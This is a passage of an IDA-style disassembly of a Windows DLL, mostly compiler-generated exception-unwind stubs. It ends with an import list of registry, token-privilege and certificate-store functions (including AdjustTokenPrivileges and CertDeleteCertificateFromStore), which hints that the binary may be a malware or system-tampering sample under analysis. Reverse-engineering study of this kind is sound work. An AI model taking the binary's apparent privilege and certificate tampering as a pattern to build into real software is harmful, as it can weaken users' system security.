		mov	[ebp+var_8], ebx
		call	eax ; dword_1007A888


loc_1001CD97:				; CODE XREF: sub_1001CBA7+1DCj
		mov	eax, ebx


loc_1001CD99:				; CODE XREF: sub_1001CBA7+EEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1001CBA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CDA0	proc near		; CODE XREF: sub_1001CBA7+175p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	ecx, ecx
		mov	eax, edi
		cmp	[edi], ecx
		jz	short loc_1001CDB7


loc_1001CDAE:				; CODE XREF: sub_1001CDA0+15j
		add	eax, 4
		inc	ecx
		cmp	dword ptr [eax], 0
		jnz	short loc_1001CDAE


loc_1001CDB7:				; CODE XREF: sub_1001CDA0+Cj
		mov	esi, [esp+8+arg_4]
		rep movsd
		pop	edi
		pop	esi
		retn	8
sub_1001CDA0	endp

; [00000006 BYTES: COLLAPSED FUNCTION _EH_prolog. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_1001CDC8(void *, char)

sub_1001CDC8	proc near		; DATA XREF: .rdata:off_1001FB68o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	??1type_info@@UAE@XZ ; type_info::~type_info(void)
		test	[esp+4+arg_0], 1
		jz	short loc_1001CDDE
		push	esi		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_1001CDDE:				; CODE XREF: sub_1001CDC8+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_1001CDC8	endp

; [00000006 BYTES: COLLAPSED FUNCTION _CxxThrowException. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_1001CDF0	proc near		; DATA XREF: .rdata:stru_1001FC00o
		lea	ecx, [ebp-334h]
		call	sub_1000E1D0
		retn
sub_1001CDF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CDFC	proc near		; DATA XREF: .rdata:stru_1001FC00o
		lea	ecx, [ebp-330h]
		call	sub_1000E1D0
		retn
sub_1001CDFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE08	proc near		; DATA XREF: .rdata:stru_1001FC00o
		lea	ecx, [ebp-584h]
		call	sub_1000E1D0
		retn
sub_1001CE08	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE14	proc near		; DATA XREF: .rdata:stru_1001FC00o
		lea	ecx, [ebp-590h]
		call	sub_1000E1D0
		retn
sub_1001CE14	endp


; =============== S U B	R O U T	I N E =======================================



SEH_100020B5	proc near		; DATA XREF: sub_100020B5+5o
		mov	eax, offset stru_1001FC00
		jmp	__CxxFrameHandler
SEH_100020B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE2A	proc near		; DATA XREF: .rdata:stru_1001FC40o
		lea	ecx, [ebp-11Ch]
		call	sub_1000EA94
		retn
sub_1001CE2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE36	proc near		; DATA XREF: .rdata:stru_1001FC40o
		lea	ecx, [ebp-12Ch]
		call	sub_1000D180
		retn
sub_1001CE36	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10002FDE	proc near		; DATA XREF: TimerFunc+5o
		mov	eax, offset stru_1001FC40
		jmp	__CxxFrameHandler
SEH_10002FDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE4C	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-18h]
		call	sub_1000D620
		retn
sub_1001CE4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE55	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-14h]
		call	sub_1000D620
		retn
sub_1001CE55	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE5E	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-168h]
		call	sub_1000DA90
		retn
sub_1001CE5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE6A	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-158h]
		call	sub_1000DA70
		retn
sub_1001CE6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE76	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-188h]
		call	sub_1000DA90
		retn
sub_1001CE76	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE82	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-178h]
		call	sub_1000DA70
		retn
sub_1001CE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE8E	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-100h]
		call	sub_1000E1D0
		retn
sub_1001CE8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CE9A	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-0F4h]
		call	sub_1000E1D0
		retn
sub_1001CE9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CEA6	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-10Ch]
		call	sub_1000D620
		retn
sub_1001CEA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CEB2	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-0F0h]
		call	sub_1000D620
		retn
sub_1001CEB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CEBE	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-108h]
		call	sub_1000D620
		retn
sub_1001CEBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CECA	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-0FCh]
		call	sub_1000D620
		retn
sub_1001CECA	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CED6	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-104h]
		call	sub_1000D620
		retn
sub_1001CED6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CEE2	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-0F8h]
		call	sub_1000D620
		retn
sub_1001CEE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CEEE	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-19Ch]
		call	sub_1000D620
		retn
sub_1001CEEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CEFA	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-118h]
		call	sub_1000E1D0
		retn
sub_1001CEFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF06	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-114h]
		call	sub_1000E1D0
		retn
sub_1001CF06	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF12	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-11Ch]
		call	sub_1000D620
		retn
sub_1001CF12	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF1E	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-120h]
		call	sub_1000D620
		retn
sub_1001CF1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF2A	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-128h]
		call	sub_1000D620
		retn
sub_1001CF2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF36	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-124h]
		call	sub_1000D620
		retn
sub_1001CF36	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF42	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-1CCh]
		call	sub_1000D620
		retn
sub_1001CF42	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF4E	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-1E0h]
		call	sub_1000D620
		retn
sub_1001CF4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF5A	proc near		; DATA XREF: .rdata:stru_1001FC70o
		lea	ecx, [ebp-220h]
		call	sub_1000D620
		retn
sub_1001CF5A	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10003786	proc near		; DATA XREF: sub_10003786+5o
		mov	eax, offset stru_1001FC70
		jmp	__CxxFrameHandler
SEH_10003786	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10005BE3	proc near		; DATA XREF: sub_10005BE3+5o
		mov	eax, offset stru_1001FD50
		jmp	__CxxFrameHandler
SEH_10005BE3	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10005E66	proc near		; DATA XREF: sub_10005E66+5o
		mov	eax, offset stru_1001FDA8
		jmp	__CxxFrameHandler
SEH_10005E66	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10006547	proc near		; DATA XREF: StartAddress+5o
		mov	eax, offset stru_1001FE00
		jmp	__CxxFrameHandler
SEH_10006547	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF8E	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp+8]
		call	sub_1001A728
		retn
sub_1001CF8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CF97	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-14h]
		call	sub_1001A728
		retn
sub_1001CF97	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFA0	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-18h]
		call	sub_1001A728
		retn
sub_1001CFA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFA9	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-1Ch]
		call	sub_1001A728
		retn
sub_1001CFA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFB2	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-2Ch]
		call	sub_1001A728
		retn
sub_1001CFB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFBB	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-3Ch]
		call	sub_1001A728
		retn
sub_1001CFBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFC4	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-40h]
		call	sub_1001A728
		retn
sub_1001CFC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFCD	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-44h]
		call	sub_1001A728
		retn
sub_1001CFCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFD6	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-48h]
		call	sub_1001A728
		retn
sub_1001CFD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFDF	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-4Ch]
		call	sub_1001A728
		retn
sub_1001CFDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFE8	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-50h]
		call	sub_1001A728
		retn
sub_1001CFE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFF1	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-60h]
		call	sub_1001A728
		retn
sub_1001CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CFFA	proc near		; DATA XREF: .rdata:stru_1001FE58o
		lea	ecx, [ebp-64h]
		call	sub_1001A728
		retn
sub_1001CFFA	endp


; =============== S U B	R O U T	I N E =======================================



SEH_1000827F	proc near		; DATA XREF: sub_1000827F+5o
		mov	eax, offset stru_1001FE58
		jmp	__CxxFrameHandler
SEH_1000827F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D00D	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-14h]
		call	sub_1001A728
		retn
sub_1001D00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D016	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-10h]
		call	sub_1001A728
		retn
sub_1001D016	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D01F	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-254h]
		call	sub_1001A728
		retn
sub_1001D01F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D02B	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-258h]
		call	sub_1001A728
		retn
sub_1001D02B	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D037	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-260h]
		call	sub_1001A728
		retn
sub_1001D037	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D043	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-26Ch]
		call	sub_1001A728
		retn
sub_1001D043	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D04F	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-278h]
		call	sub_1001A728
		retn
sub_1001D04F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D05B	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-2A4h]
		call	sub_1001A728
		retn
sub_1001D05B	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D067	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-2B0h]
		call	sub_1001A728
		retn
sub_1001D067	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D073	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-2B8h]
		call	sub_1001A728
		retn
sub_1001D073	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D07F	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-2C0h]
		call	sub_1001A728
		retn
sub_1001D07F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D08B	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-2C8h]
		call	sub_1001A728
		retn
sub_1001D08B	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D097	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-2E4h]
		call	sub_1001A728
		retn
sub_1001D097	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D0A3	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-300h]
		call	sub_1001A728
		retn
sub_1001D0A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D0AF	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-30Ch]
		call	sub_1001A728
		retn
sub_1001D0AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D0BB	proc near		; DATA XREF: .rdata:stru_1001FEE0o
		lea	ecx, [ebp-318h]
		call	sub_1001A728
		retn
sub_1001D0BB	endp


; =============== S U B	R O U T	I N E =======================================



SEH_1000878F	proc near		; DATA XREF: sub_1000878F+5o
		mov	eax, offset stru_1001FEE0
		jmp	__CxxFrameHandler
SEH_1000878F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D0D1	proc near		; DATA XREF: .rdata:stru_1001FF80o
		lea	ecx, [ebp-2BCh]
		call	sub_1001A728
		retn
sub_1001D0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D0DD	proc near		; DATA XREF: .rdata:stru_1001FF80o
		lea	ecx, [ebp-8D8h]
		call	sub_1001A728
		retn
sub_1001D0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D0E9	proc near		; DATA XREF: .rdata:stru_1001FF80o
		lea	ecx, [ebp-8DCh]
		call	sub_1001A728
		retn
sub_1001D0E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D0F5	proc near		; DATA XREF: .rdata:stru_1001FF80o
		lea	ecx, [ebp-8E0h]
		call	sub_1001A728
		retn
sub_1001D0F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D101	proc near		; DATA XREF: .rdata:stru_1001FF80o
		lea	ecx, [ebp-8E4h]
		call	sub_1001A728
		retn
sub_1001D101	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D10D	proc near		; DATA XREF: .rdata:stru_1001FF80o
		lea	ecx, [ebp-8E8h]
		call	sub_1001A728
		retn
sub_1001D10D	endp


; =============== S U B	R O U T	I N E =======================================



SEH_1000A318	proc near		; DATA XREF: sub_1000A318+5o
		mov	eax, offset stru_1001FF80
		jmp	__CxxFrameHandler
SEH_1000A318	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001D130	proc near		; DATA XREF: .rdata:stru_1001FFD0o
		mov	eax, [ebp-18h]
		push	eax
		call	sub_1000D1F0
		pop	ecx
		retn
sub_1001D130	endp


; =============== S U B	R O U T	I N E =======================================



SEH_1000D200	proc near		; DATA XREF: sub_1000D200+5o
		mov	eax, offset stru_1001FFD0
		jmp	__CxxFrameHandler
SEH_1000D200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001D150	proc near		; DATA XREF: .rdata:stru_1001FFF8o
		mov	ecx, [ebp-14h]
		call	sub_1000D1A0
		retn
sub_1001D150	endp


; =============== S U B	R O U T	I N E =======================================



SEH_1000D300	proc near		; DATA XREF: strstreambuf::strstreambuf(char *,int,char	*)+5o
		mov	eax, offset stru_1001FFF8
		jmp	__CxxFrameHandler
SEH_1000D300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001D170	proc near		; DATA XREF: .rdata:stru_10020020o
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_1000D1F0
		pop	ecx
		retn
sub_1001D170	endp


; =============== S U B	R O U T	I N E =======================================



SEH_1000D410	proc near		; DATA XREF: sub_1000D410+5o
		mov	eax, offset stru_10020020
		jmp	__CxxFrameHandler
SEH_1000D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001D190	proc near		; DATA XREF: .rdata:stru_10020048o
		mov	ecx, [ebp-10h]
		call	sub_1000D1A0
		retn
sub_1001D190	endp


; =============== S U B	R O U T	I N E =======================================



SEH_1000D4E0	proc near		; DATA XREF: std::strstreambuf::strstreambuf(char *,int,char *)+5o
		mov	eax, offset stru_10020048
		jmp	__CxxFrameHandler
SEH_1000D4E0	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000000B BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION SEH_1000D590. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000000B BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION SEH_1000DB80. PRESS KEYPAD "+" TO	EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



SEH_10013E02	proc near		; DATA XREF: sub_10013E02+5o
		mov	eax, offset stru_100200C0
		jmp	__CxxFrameHandler
SEH_10013E02	endp


; =============== S U B	R O U T	I N E =======================================



SEH_100142FF	proc near		; DATA XREF: sub_100142FF+5o
		mov	eax, offset stru_10020118
		jmp	__CxxFrameHandler
SEH_100142FF	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10014769	proc near		; DATA XREF: sub_10014769+5o
		mov	eax, offset stru_10020170
		jmp	__CxxFrameHandler
SEH_10014769	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10014871	proc near		; DATA XREF: sub_10014871+5o
		mov	eax, offset stru_100201C8
		jmp	__CxxFrameHandler
SEH_10014871	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10014916	proc near		; DATA XREF: sub_10014916+5o
		mov	eax, offset stru_10020220
		jmp	__CxxFrameHandler
SEH_10014916	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10014B0F	proc near		; DATA XREF: sub_10014B0F+5o
		mov	eax, offset stru_10020278
		jmp	__CxxFrameHandler
SEH_10014B0F	endp


; =============== S U B	R O U T	I N E =======================================



SEH_10015BF1	proc near		; DATA XREF: sub_10015BF1+5o
		mov	eax, offset stru_100202D0
		jmp	__CxxFrameHandler
SEH_10015BF1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1001D238	proc near		; DATA XREF: .rdata:stru_10020328o
		lea	ecx, [ebp-24h]
		jmp	sub_1001A728
sub_1001D238	endp

; ---------------------------------------------------------------------------


loc_1001D240:				; DATA XREF: sub_10018AC6o
		mov	eax, offset stru_10020328
		jmp	__CxxFrameHandler
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1001D24C	proc near		; DATA XREF: .rdata:stru_10020350o
		lea	ecx, [ebp+10h]
		jmp	sub_1001A728
sub_1001D24C	endp

; ---------------------------------------------------------------------------


loc_1001D254:				; DATA XREF: sub_1001936Co
		mov	eax, offset stru_10020350
		jmp	__CxxFrameHandler
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001D260	proc near		; DATA XREF: .rdata:stru_10020378o
		lea	ecx, [ebp-1Ch]
		jmp	sub_1001A728
sub_1001D260	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D268	proc near		; DATA XREF: .rdata:stru_10020378o
		lea	ecx, [ebp-30h]
		jmp	sub_1001A728
sub_1001D268	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D270	proc near		; DATA XREF: .rdata:stru_10020378o
		lea	ecx, [ebp-34h]
		jmp	sub_1001A728
sub_1001D270	endp

; ---------------------------------------------------------------------------


loc_1001D278:				; DATA XREF: sub_10019709o
		mov	eax, offset stru_10020378
		jmp	__CxxFrameHandler
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1001D284	proc near		; DATA XREF: .rdata:stru_100203B0o
		mov	eax, [ebp-18h]
		and	eax, 1
		test	eax, eax
		jz	locret_1001D29A
		mov	ecx, [ebp+8]
		jmp	sub_1001A728
; ---------------------------------------------------------------------------

locret_1001D29A:			; CODE XREF: sub_1001D284+8j
		retn
sub_1001D284	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D29B	proc near		; DATA XREF: .rdata:stru_100203B0o
		lea	ecx, [ebp+0Ch]
		jmp	sub_1001A728
sub_1001D29B	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D2A3	proc near		; DATA XREF: .rdata:stru_100203B0o
		lea	ecx, [ebp-10h]
		jmp	sub_1001A728
sub_1001D2A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D2AB	proc near		; DATA XREF: .rdata:stru_100203B0o
		lea	ecx, [ebp-10h]
		jmp	sub_1001A728
sub_1001D2AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D2B3	proc near		; DATA XREF: .rdata:stru_100203B0o
		lea	ecx, [ebp-1Ch]
		jmp	sub_1001A728
sub_1001D2B3	endp

; ---------------------------------------------------------------------------


loc_1001D2BB:				; DATA XREF: sub_10019DAAo
		mov	eax, offset stru_100203B0
		jmp	__CxxFrameHandler
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1001D2C8	proc near		; DATA XREF: .rdata:stru_100203F8o
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_1001D2DE
		mov	ecx, [ebp+8]
		jmp	sub_1001A728
; ---------------------------------------------------------------------------

locret_1001D2DE:			; CODE XREF: sub_1001D2C8+8j
		retn
sub_1001D2C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001D2DF	proc near		; DATA XREF: .rdata:stru_100203F8o
		lea	ecx, [ebp-18h]
		jmp	sub_1001A728
sub_1001D2DF	endp

; ---------------------------------------------------------------------------


loc_1001D2E7:				; DATA XREF: sub_1001A057o
		mov	eax, offset stru_100203F8
		jmp	__CxxFrameHandler
; ---------------------------------------------------------------------------
		align 200h
_text		ends

; Section 2. (virtual address 0001E000)
; Virtual size			: 00003B5A (  15194.)
; Section size in file		: 00003C00 (  15360.)
; Offset to raw	data for section: 0001C800
; Flags	40000040: Data Readable
; Alignment	: default
;
; Imports from ADVAPI32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; BOOL __stdcall IsTextUnicode(const void *lpv,	int iSize, LPINT lpiResult)
		extrn IsTextUnicode:dword ; CODE XREF: sub_10018943+Ap
					; DATA XREF: sub_10018943+Ar
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn RegQueryValueExA:dword ; CODE XREF: sub_100020B5+1F2p
					; sub_100020B5+29Bp ...
; LSTATUS __stdcall RegEnumValueA(HKEY hKey, DWORD dwIndex, LPSTR lpValueName, LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
		extrn RegEnumValueA:dword ; CODE XREF: sub_100020B5+173p
					; DATA XREF: sub_100020B5+173r
; LSTATUS __stdcall RegEnumKeyExA(HKEY hKey, DWORD dwIndex, LPSTR lpName, LPDWORD lpcchName, LPDWORD lpReserved, LPSTR lpClass,	LPDWORD	lpcchClass, PFILETIME lpftLastWriteTime)
		extrn RegEnumKeyExA:dword ; CODE XREF: sub_100020B5+C2p
					; sub_1000B7EF+4D0p
					; DATA XREF: ...
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn RegOpenKeyExA:dword ; CODE XREF: sub_100020B5+36p
					; sub_100020B5+EAp ...
; LSTATUS __stdcall RegFlushKey(HKEY hKey)
		extrn RegFlushKey:dword	; CODE XREF: sub_10002C3D+29Fp
					; DATA XREF: sub_10002C3D+29Fr
; LSTATUS __stdcall RegSetValueExA(HKEY	hKey, LPCSTR lpValueName, DWORD	Reserved, DWORD	dwType,	const BYTE *lpData, DWORD cbData)
		extrn RegSetValueExA:dword ; CODE XREF:	sub_10002C3D+139p
					; sub_10002C3D+1AFp ...
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey,	DWORD Reserved,	LPSTR lpClass, DWORD dwOptions,	REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition)
		extrn RegCreateKeyExA:dword ; CODE XREF: sub_10002C3D+ADp
					; DATA XREF: sub_10002C3D+ADr
; BOOL __stdcall AdjustTokenPrivileges(HANDLE TokenHandle, BOOL	DisableAllPrivileges, PTOKEN_PRIVILEGES	NewState, DWORD	BufferLength, PTOKEN_PRIVILEGES	PreviousState, PDWORD ReturnLength)
		extrn AdjustTokenPrivileges:dword ; CODE XREF: sub_1000579B+48p
					; DATA XREF: sub_1000579B+48r
; BOOL __stdcall LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid)
		extrn LookupPrivilegeValueA:dword ; CODE XREF: sub_1000579B+24p
					; DATA XREF: sub_1000579B+24r
; BOOL __stdcall OpenProcessToken(HANDLE ProcessHandle,	DWORD DesiredAccess, PHANDLE TokenHandle)
		extrn OpenProcessToken:dword ; CODE XREF: sub_1000579B+13p
					; DATA XREF: sub_1000579B+13r
; LSTATUS __stdcall RegDeleteValueA(HKEY hKey, LPCSTR lpValueName)
		extrn RegDeleteValueA:dword ; CODE XREF: sub_1000A318+7D0p
					; sub_1000A318+7E2p ...
; LSTATUS __stdcall RegDeleteKeyA(HKEY hKey, LPCSTR lpSubKey)
		extrn RegDeleteKeyA:dword ; CODE XREF: sub_1000B7EF+4E8p
					; DATA XREF: sub_1000B7EF+4E8r
; BOOL __stdcall CryptGetProvParam(HCRYPTPROV hProv, DWORD dwParam, BYTE *pbData, DWORD	*pdwDataLen, DWORD dwFlags)
		extrn CryptGetProvParam:dword ;	CODE XREF: .text:1000E4C2p
					; .text:1000E4E5p
					; DATA XREF: ...
; LSTATUS __stdcall RegEnumValueW(HKEY hKey, DWORD dwIndex, LPWSTR lpValueName,	LPDWORD	lpcchValueName,	LPDWORD	lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
		extrn RegEnumValueW:dword ; DATA XREF: sub_1000FBCC+3r
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_100020B5+347p
					; sub_100020B5+359p ...

;
; Imports from CRYPT32.dll
;
; BOOL __stdcall CertDeleteCertificateFromStore(PCCERT_CONTEXT pCertContext)
		extrn CertDeleteCertificateFromStore:dword ; CODE XREF:	sub_1000E866+B1p
					; sub_1000E866+CAp
					; DATA XREF: ...
; DWORD	__stdcall CertGetNameStringA(PCCERT_CONTEXT pCertContext, DWORD	dwType,	DWORD dwFlags, void *pvTypePara, LPSTR pszNameString, DWORD cchNameString)
		extrn CertGetNameStringA:dword ; CODE XREF: sub_1000E66B+107p
					; sub_1000E866+83p
					; DATA XREF: ...
; BOOL __stdcall CertStrToNameA(DWORD dwCertEncodingType, LPCSTR pszX500, DWORD	dwStrType, void	*pvReserved, BYTE *pbEncoded, DWORD *pcbEncoded, LPCSTR	*ppszError)
